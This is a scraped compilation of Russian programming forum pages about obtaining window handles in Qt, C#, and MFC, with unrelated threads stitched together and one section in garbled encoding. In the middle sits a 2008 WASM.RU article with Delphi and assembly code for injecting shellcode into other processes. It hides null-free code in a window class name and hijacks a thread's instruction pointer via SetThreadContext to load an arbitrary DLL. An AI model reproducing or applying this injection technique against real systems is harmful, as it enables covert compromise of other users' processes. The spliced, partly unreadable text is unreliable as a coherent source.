Как найти указатель на окно

QWidgetList QApplication::topLevelWidgets ()   [static]
Возвращает список окон верхнего уровня, если у тебя такое окно одно, то можно сделать что-то типа:

C++ (Qt)

MainWindow *nw = qobject_cast<MainWindow*>( QApplication::topLevelWidgets()[ 0 ] );

Можно самому сохранять указатель на главное окно:

C++ (Qt)

class MainWindow : public QMainWindow
{
public:
MainWindow(...)
{
Q_ASSERT_X( !m_instance, "Build MainWindow", "Объект главного окна уже создан" );
m_instance = this;
}

  static MainWindow *instance()
{
Q_ASSERT_X( m_instance, "Get instance MainWindow", "Объект главного окна не создан" );
return m_instance;
}

 private:
static MainWindow *m_instance = 0;
};

Думаю еще много чего можно придумать.

riotel

8 / 8 / 4

Регистрация: 23.07.2012

Сообщений: 261

1

Указатель на окно

23.07.2012, 08:37. Показов 1297. Ответов 5

Метки нет (Все метки)


Студворк — интернет-сервис помощи студентам

C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Diagnostics;
using System.ComponentModel;
 
namespace riot
{
    class handle
    {
        static void Main(string[] args)
 
            Process[] etc = Process.GetProcesses();//получаем все процессы
            //Console.WriteLine("Count: {0}", etc.Length); // количество процесов
            foreach (Process anti etc)//перебираем их
            {
                if (anti.MainWindowTitle.ToString() == "SPYXX")//Находим окно
                {
                    NeedHandle = anti.MainWindowHandle;//присваиваем нашей переменной указатель на окно
                }
            }
            //Console.WriteLine(process.Id);
         }
    }
}

В чём может быть ошибка? Подсвечивается etc В строке кода перебора



0



Programming

Эксперт

94731 / 64177 / 26122

Регистрация: 12.04.2006

Сообщений: 116,782

23.07.2012, 08:37

5

MansMI

Заблокирован

23.07.2012, 08:51

2

Лучший ответ Сообщение было отмечено SatanaXIII как решение

Решение

C#
1
2
3
IntPtr NeedHandle;
.......................
foreach (Process anti in etc)



1



8 / 8 / 4

Регистрация: 23.07.2012

Сообщений: 261

23.07.2012, 09:22

 [ТС]

3

Спасибо всё получилось. А что не так с NeedHandle?



0



Темная сторона .Net

592 / 489 / 39

Регистрация: 21.07.2012

Сообщений: 1,668

23.07.2012, 09:29

4

Не описал ее наверное



1



MansMI

Заблокирован

23.07.2012, 09:30

5

Ошибка 1 “Элемент “NeedHandle” не существует в текущем контексте.” такого сообщения разве нет?



1



8 / 8 / 4

Регистрация: 23.07.2012

Сообщений: 261

23.07.2012, 10:45

 [ТС]

6

Да ты прав. было.

Подскажите как сделать перебор всех дочерних окон



0



IT_Exp

Эксперт

87844 / 49110 / 22898

Регистрация: 17.06.2006

Сообщений: 92,604

23.07.2012, 10:45

Помогаю со студенческими работами здесь

Указатель типа void. Использование косвенного связывания через универсальный указатель
Необходимо использовать косвенного связывания через универсальный указатель, примерный вид:
struct…

Функция, получающая указатель на обычную функцию, получает указатель на метод класса
Здравтсвуйте.
Имеется вопрос по указателям на методы класса. Допустим, есть функция( f ), которая…

Функция, принимающая указатель и число байт и выделяющая память под указатель
Здравствуйте. Задача легкая, но почему-то завис

Нужно написать функцию, принимающую указатель и…

Сохранить адрес из указателя в другой указатель, а потом первый указатель удалить
Добрый день всем. Возмём простейший пример:

#include &lt;iostream&gt;
using namespace std;

int…

Зачем нужен указатель на указатель при работе с однонаправленным списком?
День добрый. Столкнулся с непониманием этой темы. В частности, совершенно непонятен алгоритм…

Как правильно удалять выделенную память под указатель на указатель?
есть код
#include &lt;iostream&gt;
#include &lt;conio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;time.h&gt;
using…

Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:

6

Инжект: лезем через окно

Дата публикации 10 апр 2008

| Редактировалось 6 июл 2017

Инжект: лезем через окно — Архив WASM.RU

В статье для демонстрационных целей используется Паскаль! Женщинам, детям и людям
с неустойчивой психикой читать воспрещено!

Одним из самых соблазнительных мест для преступника, пытающегося пробраться в чужую квартиру, безусловно, является окно. Да и вообще, для русских людей характерно приходить к чему-то новому не «через дверь», а «через форточку», ибо так нам завещал сам царь Петр. Вот и мы, подражая великому правителю, попытаемся проникнуть в адресное пространство чужого процесса через… окно. Применение данному методу, в большинстве случаев, наверняка будет не совсем законным, но я не ставлю перед собой цель научить толпы кулхацкеров проникать незамеченными туда, куда их не просят. Я лишь хочу раскрыть технологию, лежащую на поверхности с незапамятных времен, но, почему-то, до сих пор, ни кем не замеченную. Так сказать, хочу подтолкнуть истинных исследователей зарыться еще глубже в недра замечательной операционной системы под названием Windows. Посему, ответственность за применение материала, изложенного в этой статье, я возлагаю на плечи тех, кто будет ее применять…

Если проследить за работой всем известной функции GetWindow(), то можно заметить, что для получения результата она не обращается к ядру, а берет данные прямо из адресного пространства текущего процесса. Это наталкивает на мысль, что каждый GUI-процесс имеет в себе копию таблиц, содержащих информацию об окнах. Действительно, на юзермодные адреса любого процесса, использующего user32.dll, система отображает ядерную область памяти, доступную только для чтения и имеющую атрибут супервизора. В этой области и хранятся все структуры, описывающие окна, классы и т. д. Значит, создав окно, к примеру с надписью «My Cool Window», эта самая строка сразу окажется отображенной в АП всех GUI-процессов. А если вместо строки подставить хитро составленный исполняемый код? Вот вам и инжект. После этого останется лишь найти наш код в чужом процессе и передать ему управление.

Тут, правда, есть несколько нюансов, заслуживающих внимания. Дело в том, что система хранит надписи окон в кодировке Unicode, не зависимо от того, в какой кодировке надпись задавалась изначально. Поэтому после создания окна наш исполняемый код разбавится нулями и превратится в кашу. Короче говоря, для хранения программного кода текст в окне нам не подойдет. А вот класс окна – в самый раз! Он хранится в ANSI-кодировке, и система сохраняет его именно таким, каким мы его зададим, т.е. готовым к исполнению. Второй нюанс это то, что в глазах системы класс окна должен быть оканчивающейся нулевым байтом строкой. Поэтому наш код не должен содержать в себе нулей. Составление такого кода достаточно сложная инженерная задача, сродная подготовке эксплойта, поэтому мы не будем усложнять себе жизнь и напишем лишь маленький переходник, подгружающий заранее подготовленную динамическую библиотеку, которая и будет выполнять всю полезную нагрузку, а в нашем случае просто выдавать сообщение. Итак, начнем…

А начнем мы с того, что попробуем найти указатель на структуру какого-либо окна в своем собственном процессе. Структура эта зовется tagWND и, к сожалению, нигде не документирована. Тут нам стоит отдать должное неизвестным героям, в свое время «позаимствовавшим» исходники Windows 2000 у корпорации Microsoft. Так же не забудем поблагодарить Ильфака Гильфанова за мощнейший дизассемблер и Oleh Yuschuk за лучший отладчик режима пользователя. Собственно говоря, эти вещи, да еще пивная открывалка – все, чем я пользовался во время своих исследований.

Для того чтобы научиться находить этот самый указатель, нам необходимо понять, как его получает сама система. Для этого обратимся к коду уже упомянутой мной выше функции GetWindow(). В Windows XP SP2 она выглядит следующим образом:

  1. call    @ValidateHwnd@4 ; ValidateHwnd(x)
  2. call    __GetWindow@8   ; _GetWindow(x,x)

Если пройтись по ней отладчиком, то видно, что hWnd окна, передаваемый в функцию ValidateHwnd() через регистр ecx, чудесным образом превращается в некий указатель, с которым и работает внутренняя _GetWindow(). Как не трудно догадаться, это и есть указатель на структуру окна, он называется pWnd. Чтобы не затягивать повествование и не загромождать статью лишними листингами, сразу перейду непосредственно к алгоритму работы функции ValidateHwnd():

  • Как я уже говорил, область памяти, хранящая оконные структуры, на самом деле расположена в ядре, а на юзермодное пространство лишь спроецирована. Следовательно, все указатели в этих структурах ядерные и нам необходимо найти дельту (разницу) между соответствующими kernel и user адресами. Она лежит в PEB текущего потока по смещению 6E8h – смещение это не изменилось со времен win_2k вплоть до win_vista. Хочу заметить, что в разных процессах значения дельт отличаются.
  • Существует юзермодная структура, называемая SHAREDINFO, в ней хранятся важнейшие указатели, необходимые для работы оконной подсистемы Win32. В том числе и указатель на массив элементов HANDLEENTRY, каждый элемент (структура) которого, кроме первого, неиспользуемого, описывает соответствующий GUI-объект в ядре (Window, Pen, DC и т. д.) и хранит указатель (kernel-адрес) на него. Это как раз то, что нам нужно! Жаль только, что адрес SHAREDINFO разнится от сервиспака к сервиспаку, а гарантированного способа найти его динамически я не нашел. Поэтому остается только хранить все возможные адреса и использовать нужный в зависимости от версии системы:

    1.         win_vista no sp –   GetModuleHandle(‘user32.dll’) + 6A6C0h

    Ниже я приведу описание этих двух ключевых структур:

    1.         PSHAREDINFO = ^SHAREDINFO;
    2.         SHAREDINFO = packed record
    3.         psi: pointer;               //Указатель на структуру SERVERINFO
    4.         aheList: PHANDLEENTRY_ARRAY;//Указатель на таблицу хэндлов
    5.         pDispInfo: pointer;         //Указатель на глобальную DISPLAYINFO
    6.         ulSharedDelta: DWORD;       // <= тоже дельта, но не та, которая нам нужна
    1.         PHANDLEENTRY = ^HANDLEENTRY;
    2.           HANDLEENTRY = packed record
    3.             pHead: pointer;           //Указатель на объект (pWnd в случае окна)
    4.             pOwner: pointer;          //Указатель на родительский объект (ppi или pti)
    5.             bType: BYTE;              //Тип хэндла (1 == TYPE_WINDOW)
    6.             wUniq: WORD;              //uniqueness count
    7.         PHANDLEENTRY_ARRAY = ^HANDLEENTRY_ARRAY;
    8.           HANDLEENTRY_ARRAY = array[0..0] of HANDLEENTRY;
  • После того, как будет получена дельта и указатель на SHAREDINFO (в реале он называется gSharedInfo), нам уже можно будет получить pWnd по hWnd. Для этого необходимо разобраться со структурой хэндла. Она проста до безобразия – в его младшем слове хранится индекс элемента HANDLEENTRY в массиве HANDLEENTRY_ARRAY. Назначение старшего слова не вполне ясно, все что известно – это то, что оно должно совпадать со значением поля wUniq из соответствующего хэндлу элемента HANDLEENTRY.

Итак, мы получаем индекс элемента в таблице, убеждаемся, что это окно, сравнивая поле bType с единицей, далее сравниваем старшее слово хэндла с полем wUniq и, в случае их равенства, от значения поля pHead, которое является kernel-указателем на tagWND, отнимаем найденую ранее дельту, чтобы получить юзермодный указатель. Все, результат готов!

Теперь напишем код нашей собственной функции ValidateHwnd():

  1. function IndexFromHandle(hWnd: DWORD): integer;
  2. result := hWnd and HMINDEXBITS;
  1. function UniqFromHandle(hWnd: DWORD): WORD;
  2. result := (hWnd shr HMUNIQSHIFT) and HMUNIQBITS;
  1. function ValidateHwnd(hWnd: DWORD): pointer;
  2.   mov   eax, fs:[$18]             //  Эти поля в TEB ни где не описаны,
  3.   lea   eax, [eax + $6CC]         //  но смещения не изменились со
  4.   mov   eax, dword [eax + $1C]    //  времен win_2k вплоть до win_vista
  5. phe := @gSharedInfo.aheList[IndexFromHandle(hWnd)];
  6. if phe.bType = TYPE_WINDOW then
  7.   if phe.wUniq = UniqFromHandle(hWnd) then
  8.     result := pointer(DWORD(phe.pHead) – dwDelta);

Научившись добывать указатель на tagWND, стоило бы разобраться с самой структурой, но мы этого делать не будем, т.к. она достаточно громоздка и абсолютное большинство ее полей нас вообще не интересует. Нужно знать лишь то, что по смещению 10h от ее начала лежит указатель на саму себя в ядре – поле tagWND.head.pSelf (мы ведь помним, что ValidateHwnd() возвращает user-адрес?), а по смещению 64h находится kernel-указатель на структуру класса, к которому принадлежит окно (tagWND.pcls) – tagCLS. Чтобы получить user-указатель на tagCLS, нужно воспользоваться следующей формулой, которая универсальна для всех подобных структур, лежащих в ядре и имеющих ссылку на себя:

  1. field_useraddr := struct.field_kerneladdr – struct.pSelf + struct

Здесь struct – это user-адрес имеющейся структуры, struct.pSelf – kernel-указатель на себя, а struct.field_kerneladdr – kernel-адрес, который нужно преобразовать. Получив интересующий нас user-адрес pCls, необходимо выудить из структуры класса указатель на ANSI-строку с его именем. Он лежит по смещению 54h от начала и называется lpszClientAnsiMenuName. Естественно, адрес, содержащийся в нем – ядерный. Итак, вооружившись всеми этими, сумбурно изложенными мной данными, напишем функцию, возвращающую указатель на имя класса по pWnd:

  1. function GetPClassName(pWnd: pointer): pointer; stdcall;
  2.   mov   edx, dword [eax + $10] // tagWND.head.pSelf (kernel addr)
  3.   mov   ecx, dword [eax + $64] // tagWND.pcls (kernel addr)
  4.   add   ecx, eax               // tagWND.pcls (user addr)
  5.   mov   esi, dword [ecx + $54] // tagWND.pcls.lpszClientAnsiMenuName (kernel addr)
  6.   add   esi, eax               // tagWND.pcls.lpszClientAnsiMenuName (user addr)

Вот, треть дела уже сделана! Теперь хорошо бы разобраться с тем, как искать нужные нам адреса в чужом процессе. Тут на самом деле нет ни чего сложного и отличного от уже изложенного материала, разве что объемы кода возрастут из-за необходимости чтения «чужой» памяти. Посему, не имея ни малейшего желания лишний раз загромождать статью, я опишу только ключевые моменты. В крайнем случае, читатель всегда может обратиться к приложенным к статье исходникам – не зря же я их писал…

  • Адрес TEB чужого потока можно узнать с помощью экспорта ntdll.dll – функции ZwQueryInformationThread, вызвав ее с классом информации ThreadBasicInformation. Указанный буфер, в случае успеха, заполнится структурой типа THREAD_BASIC_INFORMATION, которая имеет в себе элемент TebBaseAddress – как раз то, что нам нужно. Впрочем, замечательный труд Гарри Нэббета о Native API расскажет обо всем этом намного лучше меня.
  • В Windows Vista системные библиотеки в различных процессах могут грузиться по разным адресам, поэтому чтобы найти gSharedInfo нам, сначала, необходимо получить адрес, по которому загружена user32.dll, а потом прибавить к найденному значению 6A6C0h. Это число валидно лишь для Vista SP0, для последующих сервиспаков оно, скорее всего, будет другим.

Разобравшись с поиском указателей, пора приступать к подготовке шеллкода. Для начала определимся с тем, каким образом ему будет передаваться управление. Я не стал сильно мудрствовать и решил использовать избитый всеми SetThreadContext(). Это документированный и достаточно надежный способ, хотя и палится он всеми, кому не лень, собственно как и все остальные паблик-методы. Наш код, не содержащий нулей, после того, как закончит свои дела, должен будет вернуть управление потоку-жертве в то место, где выполнение последнего было нами прервано, естественно сохранив значения всех регистров. Учитывая все вышесказанное и имея ввиду то, что мы условились внедрять лишь маленький переходник, подгружающий заранее подготовленную DLL, становится возможным сделать примерный набросок нашего шеллкода:

  1. mov eax, <addr_of_str_with_dll_path>
  2. mov eax, <addr_of_loadlibrary>

И тут мы упираемся в подводный камень – каждое значение, заносимое нами в регистр eax командой mov, может и, скорее всего, будет содержать в себе нули. Здесь стоит откупорить еще бутылочку пивасика и включить воображение: нам необходимо написать генератор кода, использующий универсальный способ замены команды mov, да еще и такой, чтобы налету отсечь все нули из числа. Немного пораскинув мозгами, в голову приходит неплохой вариант. Надо заметить, что изначально мне в голову пришел совсем не тот вариант, который стоило бы публиковать, но мой друг Хакер вовремя наставил на путь истинный, за что ему «респект и уважуха». Нам нужно найти маску, при xor’е с которой исходное число давало бы DWORD, не содержащий нулей. Такая маска находится по элементарному алгоритму: к исходному числу («N») прибавляем 01010101h, получая «X», проверяем каждый байт результата – если он равен нулю или FFh, то прибавляем к нему 2. Далее высчитываем «Y» – Y = X xor N. Все. Допустим, нам нужно поместить в eax число 0098BCC8h. Вот так может выглядеть код, решающий эту проблему:

  1.                 // в eax получится 0098BCC8h

А теперь напишем функцию, генерирующую такой код динамически:

  1. function GenCodeToPutDWORD(dwDWORD: DWORD; pCode: pointer): pointer; stdcall;
  2.   lea   eax, [edx + $01010101]

Ну, вот мы и во всеоружии! Теперь приступим непосредственно к тому, ради чего все это затеяли – к внедрению кода. Порядок действий будет такой: первым делом создадим окно, класс которого будет являться полным путем к подгружаемой динамической библиотеке. Тут есть маленькое «но» – для задания пути в кодировке UNICODE класс окна не подойдет, но как нельзя лучше сгодится надпись на нем. В структуре tagWND указатель на надпись лежит по смещению 88h. Дальше найдем адрес функции LoadLibraryA() в чужом процессе (в win_vista он может отличаться от адреса в нашем АП). Сгенерируем первую часть шеллкода по приведенному выше шаблону, внеся в него предварительно найденный указатель на путь к внедряемой DLL. Следующим шагом будет приостановка целевого потока и получение его контекста. Генерируем вторую часть кода, которая возвратит управление по только что полученному eip и создаем окно с классом, содержащим в себе шеллкод. Ищем указатель на класс этого окна и устанавливаем новое значение eip для потока. И все! Вот какой код получился у меня (да не ужаснутся хакеры старой школы от использования Delphi с VCL – для простоты и наглядности такой подход в самый раз):

  1. procedure TfrmMain.cmdClick(Sender: TObject);
  2.   hWnd, hWndLibPath, ThreadID, hThread: DWORD;
  3.   CodeArr: array[0..255] of byte;
  4. ZeroMemory(@CodeArr, 256);
  5. if txtTID.Text <> ” then
  6.   ThreadID := StrToInt(txtTID.Text);
  7.   ZeroMemory(@wc, SizeOf(WNDCLASSEX));
  8.   wc.cbSize := SizeOf(WNDCLASSEX);
  9.   wc.lpszClassName := PChar(txtLibPath.Text);
  10.   wc.lpfnWndProc := @EmptyWndProc;
  11.   hWndLibPath := CreateWindowEx(0, PChar(txtLibPath.Text), nil, WS_OVERLAPPEDWINDOW,
  12.                  integer(CW_USEDEFAULT), integer(CW_USEDEFAULT),
  13.                  integer(CW_USEDEFAULT), integer(CW_USEDEFAULT), 0, 0,
  14.                  GetModuleHandle(nil), nil);
  15.   pClass := GetPClassNameEx(ValidateHwndEx(hWndLibPath, ThreadID), ThreadID);
  16.   BYTE(pCode^) := $60;   // pushad
  17.   pCode := GenCodeToPutDWORD(DWORD(pClass), pCode);
  18.   BYTE(pCode^) := $50;   // push  eax
  19.   pCode := GenCodeToPutDWORD(DWORD(GetProcAddressEx(‘kernel32.dll’, ‘LoadLibraryA’, ProcessIdFromThreadId(ThreadID))), pCode);
  20.   WORD(pCode^) := $D0FF; // call  eax
  21.   BYTE(pCode^) := $61;   // popad
  22.   BYTE(pCode^) := $50;   // push  eax
  23.   hThread := OpenThread(THREAD_GET_CONTEXT or THREAD_SET_CONTEXT, false, ThreadID);
  24.     Context.ContextFlags := CONTEXT_FULL;
  25.     GetThreadContext(hThread, Context);
  26.     pCode := GenCodeToPutDWORD(Context.Eip, pCode);
  27.     BYTE(pCode^) := $87;   // |
  28.     WORD(pCode^) := $2404; // | xchg    eax, [esp]
  29.     Inc(DWORD(pCode), 2);  // |
  30.     BYTE(pCode^) := $C3;   // ret
  31.     ZeroMemory(@wc, SizeOf(WNDCLASSEX));
  32.     wc.cbSize := SizeOf(WNDCLASSEX);
  33.     wc.lpszClassName := @CodeArr[0];
  34.     wc.lpfnWndProc := @EmptyWndProc;
  35.     hWnd := CreateWindowEx(0, @CodeArr, nil, WS_OVERLAPPEDWINDOW,
  36.                  integer(CW_USEDEFAULT), integer(CW_USEDEFAULT),
  37.                  integer(CW_USEDEFAULT), integer(CW_USEDEFAULT), 0, 0,
  38.                  GetModuleHandle(nil), nil);
  39.     ZeroMemory(@wc, SizeOf(WNDCLASSEX));
  40.     Context.Eip := DWORD(GetPClassNameEx(ValidateHwndEx(hWnd, ThreadID), ThreadID));
  41.     SetThreadContext(hThread, Context);
  42.     PostMessage(hWnd, WM_CLOSE, 0, 0);
  43.   PostMessage(hWndLibPath, WM_CLOSE, 0, 0);

В листинге я не стал приводить содержимое таких функций, как GetProcAddressEx(), ProcessIdFromThreadId() и т.д. – их назначение понятно из названия, а код тривиален. Любителей копипаста отправляю к исходникам, приложенным к статье.

Ну вот, пожалуй, и все, что я хотел поведать. Надеюсь, информация, изложенная мной в данной статье, хоть как-то окажется полезной конечному читателю…

Файлы к статье.

© Twister

Вложения:


archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532


WASM

����������

���������

�������

��������� �� ����

���������� ������

������ ������ � ��������

������ � ����������

��������� �� ����

getwindow



��������:


������� getwindow ��������� �������� ��������� �� ���� ��� �������� �� ����������� �� ������.


���������:


�������������:


����������� ������� getwindow ��������� 3 ��������� � ���������� ��������� win.
win w=getwindow(0, X, Y);
������ �������� - ���� 0 �������� ��������� �������� ����. ���� 1 �������� ��������� ������� �� ���� �����������.
������ ������ - ���������� x y
getwindow ����� �������� ��� ����������. � ���� ������ ��� ���������� ��������� �� �������� ����.
win w=getwindow();
��� �� ��� � ��� ������ window � ���������� ��������� � ���������� win ���������������� � ����������� �������� ������ �� ���� ��� ���������. �������� ��������� � ��������� win.


������:


int X, Y;
getmouse(X, Y);// ������ ���������� ����
win w=getwindow (0, X, Y);
messagebox (w.name);//��������� � �������� ����


Форум программистов Vingrad

Страницы: (2) [Все] 1 2 
( Перейти к первому непрочитанному сообщению )

Поиск:

Ответ в темуСоздание новой темы
Создание опроса
> Как получить указатель на Активное окно-диалог 

V

   

Опции темы

KEHT
Дата 24.9.2008, 19:33 (ссылка)
| (нет голосов)
Загрузка ... Загрузка …




Быстрая цитата

Цитата

Шустрый
*

Профиль
Группа: Участник
Сообщений: 67
Регистрация: 17.7.2006

Репутация: 1
Всего: 1

Здравствуйте. 
Ситуация следующая – из главного окна вызывается модальное диалоговое окно. Можно ли как-нибудь получить на него указатель?(не используя глобальную переменную)

PM MAIL   Вверх
Andrey44
Дата 25.9.2008, 08:03 (ссылка)
| (нет голосов)
Загрузка ... Загрузка …




Быстрая цитата

Цитата

Эксперт
***

Профиль
Группа: Завсегдатай
Сообщений: 1501
Регистрация: 4.12.2006
Где: На работе

Репутация: 12
Всего: 26

Код

static CWnd* PASCAL GetActiveWindow( );

——————–

????? ??, ??????? ?????.  smile 

PM MAIL WWW ICQ   Вверх
KEHT
Дата 25.9.2008, 11:18 (ссылка)
| (нет голосов)
Загрузка ... Загрузка …




Быстрая цитата

Цитата

Шустрый
*

Профиль
Группа: Участник
Сообщений: 67
Регистрация: 17.7.2006

Репутация: 1
Всего: 1

Сории, не так выразился в теме. 
Нужен указатель на класс активного окна-диалога.

PM MAIL   Вверх
Andrey44
Дата 25.9.2008, 11:51 (ссылка)
| (нет голосов)
Загрузка ... Загрузка …




Быстрая цитата

Цитата

Эксперт
***

Профиль
Группа: Завсегдатай
Сообщений: 1501
Регистрация: 4.12.2006
Где: На работе

Репутация: 12
Всего: 26

Цитата(KEHT @  25.9.2008,  11:18 Найти цитируемый пост)
Нужен указатель на класс активного окна-диалога. 
Цитата(KEHT @  24.9.2008,  19:33 Найти цитируемый пост)
вызывается модальное диалоговое окно. Можно ли как-нибудь получить на него указатель?

А какая разница?

Код

static CWnd* PASCAL GetActiveWindow( );

Всегда вернет указатель на CWnd активного окна. Причем любого!

——————–

????? ??, ??????? ?????.  smile 

PM MAIL WWW ICQ   Вверх
KEHT
Дата 25.9.2008, 12:18 (ссылка)
| (нет голосов)
Загрузка ... Загрузка …




Быстрая цитата

Цитата

Шустрый
*

Профиль
Группа: Участник
Сообщений: 67
Регистрация: 17.7.2006

Репутация: 1
Всего: 1

Вы имеете ввиду функцию CWnd::GetActiveWindow()? Если так, то как мне получить указатель на объект окно?

PM MAIL   Вверх
Andrey44
Дата 25.9.2008, 13:59 (ссылка)
| (нет голосов)
Загрузка ... Загрузка …




Быстрая цитата

Цитата

Эксперт
***

Профиль
Группа: Завсегдатай
Сообщений: 1501
Регистрация: 4.12.2006
Где: На работе

Репутация: 12
Всего: 26

Цитата(KEHT @  25.9.2008,  12:18 Найти цитируемый пост)
Если так, то как мне получить указатель на объект окно? 
Код

CWnd *wnd = GetActiveWindow( );//wnd 

——————–

????? ??, ??????? ?????.  smile 

PM MAIL WWW ICQ   Вверх
KEHT
Дата 25.9.2008, 14:14 (ссылка)
| (нет голосов)
Загрузка ... Загрузка …




Быстрая цитата

Цитата

Шустрый
*

Профиль
Группа: Участник
Сообщений: 67
Регистрация: 17.7.2006

Репутация: 1
Всего: 1

afxDump << (long)GetActiveWindow()  выводит 0

PM MAIL   Вверх
Andrey44
Дата 25.9.2008, 14:20 (ссылка)
| (нет голосов)
Загрузка ... Загрузка …




Быстрая цитата

Цитата

Эксперт
***

Профиль
Группа: Завсегдатай
Сообщений: 1501
Регистрация: 4.12.2006
Где: На работе

Репутация: 12
Всего: 26

Очень интересно.
А попробуйте

Код

CWnd *cwnd = GetActiveWindow();
CString str;
cwnd->GetWindowText(str);
MessageBox(str);

——————–

????? ??, ??????? ?????.  smile 

PM MAIL WWW ICQ   Вверх
KEHT
Дата 25.9.2008, 14:33 (ссылка)
| (нет голосов)
Загрузка ... Загрузка …




Быстрая цитата

Цитата

Шустрый
*

Профиль
Группа: Участник
Сообщений: 67
Регистрация: 17.7.2006

Репутация: 1
Всего: 1

Срабатывает ассерт, что логично, так как хэндл равен 0

Наверно следовало уточнить, что функция, в которой нужно получить указатель на класс окна диалога не относиться к какому либо мфц или наследуемому от него классу. Для нее вызывается AfxBeginThread.

PM MAIL   Вверх
Andrey44
Дата 25.9.2008, 14:54 (ссылка)
| (нет голосов)
Загрузка ... Загрузка …




Быстрая цитата

Цитата

Эксперт
***

Профиль
Группа: Завсегдатай
Сообщений: 1501
Регистрация: 4.12.2006
Где: На работе

Репутация: 12
Всего: 26

Такой вариант

Код

HWND hwnd = ::GetActiveWindow();
TCHAR str[128];
::GetWindowText(str);
::MessageBox(hwnd, str, 0, 0);

——————–

????? ??, ??????? ?????.  smile 

PM MAIL WWW ICQ   Вверх
KEHT
Дата 25.9.2008, 15:18 (ссылка)
| (нет голосов)
Загрузка ... Загрузка …




Быстрая цитата

Цитата

Шустрый
*

Профиль
Группа: Участник
Сообщений: 67
Регистрация: 17.7.2006

Репутация: 1
Всего: 1

Появляется мессаджбокс с кэпшоном – Ошибка
сам str – пуст

PM MAIL   Вверх
Andrey44
Дата 25.9.2008, 15:29 (ссылка)
| (нет голосов)
Загрузка ... Загрузка …




Быстрая цитата

Цитата

Эксперт
***

Профиль
Группа: Завсегдатай
Сообщений: 1501
Регистрация: 4.12.2006
Где: На работе

Репутация: 12
Всего: 26

Ну да, он появляться будет в любом случае.

MSDN

Цитата
Retrieves a pointer to the active window.

 static CWnd* PASCAL GetActiveWindow( );

 Return Value
The active window or NULL if no window was active at the time of the call. The pointer may be temporary and should not be stored for later use.

Remarks
The active window is either the window that has the current input focus or the window explicitly made active by the SetActiveWindow member function.

MSDN

Цитата
This function retrieves the window handle to the active window associated with the thread that calls the function.

HWND GetActiveWindow(void);
Parameters
None.

Return Values
The handle to the active window associated with the calling thread’s message queue indicates success. NULL indicates failure. 

Добавлено через 4 минуты и 24 секунды
KEHT, стоп, есть два окна. 
Одно главное окно приложения, а второе вы потом создаете. 
Какого окна указатель вам нужен?

——————–

????? ??, ??????? ?????.  smile 

PM MAIL WWW ICQ   Вверх
KEHT
Дата 25.9.2008, 15:35 (ссылка)
| (нет голосов)
Загрузка ... Загрузка …




Быстрая цитата

Цитата

Шустрый
*

Профиль
Группа: Участник
Сообщений: 67
Регистрация: 17.7.2006

Репутация: 1
Всего: 1

Код

void CUpdate::OnBnClickedUpdate()
{
    GetDlgItem(IDC_UPDATE)->EnableWindow(FALSE);
    ::SetActiveWindow(this->GetSafeHwnd()); // Не помогает
    AfxBeginThread(RunThread,GetSafeHwnd());
    OnOK();
}

Может я что-то не то выставил в параметрах самого окна в редакторе ресурсов?

Кстати, если сделать глобальную переменную CUpdate *g_pUpdate
И инициализировать ее в той же функции OnBnClickedUpdate, то все равно функция будет ASSERTиться на 

Код

_AFXCMN_INLINE int CProgressCtrl::SetPos(int nPos)
    { ASSERT(::IsWindow(m_hWnd)); return (int) ::SendMessage(m_hWnd, PBM_SETPOS, nPos, 0L); }

Цитата
KEHT, стоп, есть два окна. 
Одно главное окно приложения, а второе вы потом создаете. 
Какого окна указатель вам нужен? 

Диалогового окна, которое создается DoModal’ом

Это сообщение отредактировал(а) KEHT – 25.9.2008, 15:41

PM MAIL   Вверх
Andrey44
Дата 25.9.2008, 15:39 (ссылка)
| (нет голосов)
Загрузка ... Загрузка …




Быстрая цитата

Цитата

Эксперт
***

Профиль
Группа: Завсегдатай
Сообщений: 1501
Регистрация: 4.12.2006
Где: На работе

Репутация: 12
Всего: 26

Код

AfxBeginThread(RunThread,GetSafeHwnd());//второй параметр - что-то мне подсказывает ну никак не должен быть HWND this - как минимум

Это сообщение отредактировал(а) Andrey44 – 25.9.2008, 15:40

——————–

????? ??, ??????? ?????.  smile 

PM MAIL WWW ICQ   Вверх
KEHT
Дата 25.9.2008, 15:48 (ссылка)
| (нет голосов)
Загрузка ... Загрузка …




Быстрая цитата

Цитата

Шустрый
*

Профиль
Группа: Участник
Сообщений: 67
Регистрация: 17.7.2006

Репутация: 1
Всего: 1

Код

AfxBeginThread(RunThread,GetSafeHwnd());//второй параметр - что-то мне подсказывает ну никак не должен быть HWND this - как минимум

А что смущает? Да и вываливается совсем в другом месте программа.

PM MAIL   Вверх
Sniper_super
Дата 25.9.2008, 15:59 (ссылка)
| (нет голосов)
Загрузка ... Загрузка …




Быстрая цитата

Цитата

Шустрый
*

Профиль
Группа: Участник
Сообщений: 84
Регистрация: 8.5.2007

Репутация: нет
Всего: нет

::GetForegroundWindow() и все.

PM MAIL   Вверх
KEHT
Дата 25.9.2008, 17:02 (ссылка)
| (нет голосов)
Загрузка ... Загрузка …




Быстрая цитата

Цитата

Шустрый
*

Профиль
Группа: Участник
Сообщений: 67
Регистрация: 17.7.2006

Репутация: 1
Всего: 1

Цитата
::GetForegroundWindow() и все. 

Функция возвращает указатель на главное окно

PM MAIL   Вверх
Earnest
Дата 26.9.2008, 13:14 (ссылка)
| (нет голосов)
Загрузка ... Загрузка …




Быстрая цитата

Цитата

Эксперт
****

Профиль
Группа: Экс. модератор
Сообщений: 5962
Регистрация: 17.6.2005
Где: Рязань

Репутация: 87
Всего: 183

GetLastActivePopup?

——————–

PM   Вверх
KEHT
Дата 26.9.2008, 18:38 (ссылка)
| (нет голосов)
Загрузка ... Загрузка …




Быстрая цитата

Цитата

Шустрый
*

Профиль
Группа: Участник
Сообщений: 67
Регистрация: 17.7.2006

Репутация: 1
Всего: 1

Цитата
GetLastActivePopup? 

А что передать ей в качестве параметра?

Добавлено через 14 минут и 4 секунды
Господа, помоему я решил проблему, передав в функцию AfxBeginThread 2ым параметром указатель на класс нужного мне объекта вид.

PM MAIL   Вверх
korian
Дата 27.9.2008, 14:29 (ссылка)
| (нет голосов)
Загрузка ... Загрузка …




Быстрая цитата

Цитата

Опытный
**

Профиль
Группа: Участник
Сообщений: 650
Регистрация: 8.3.2008
Где: Украина, Харьков

Репутация: 2
Всего: 17

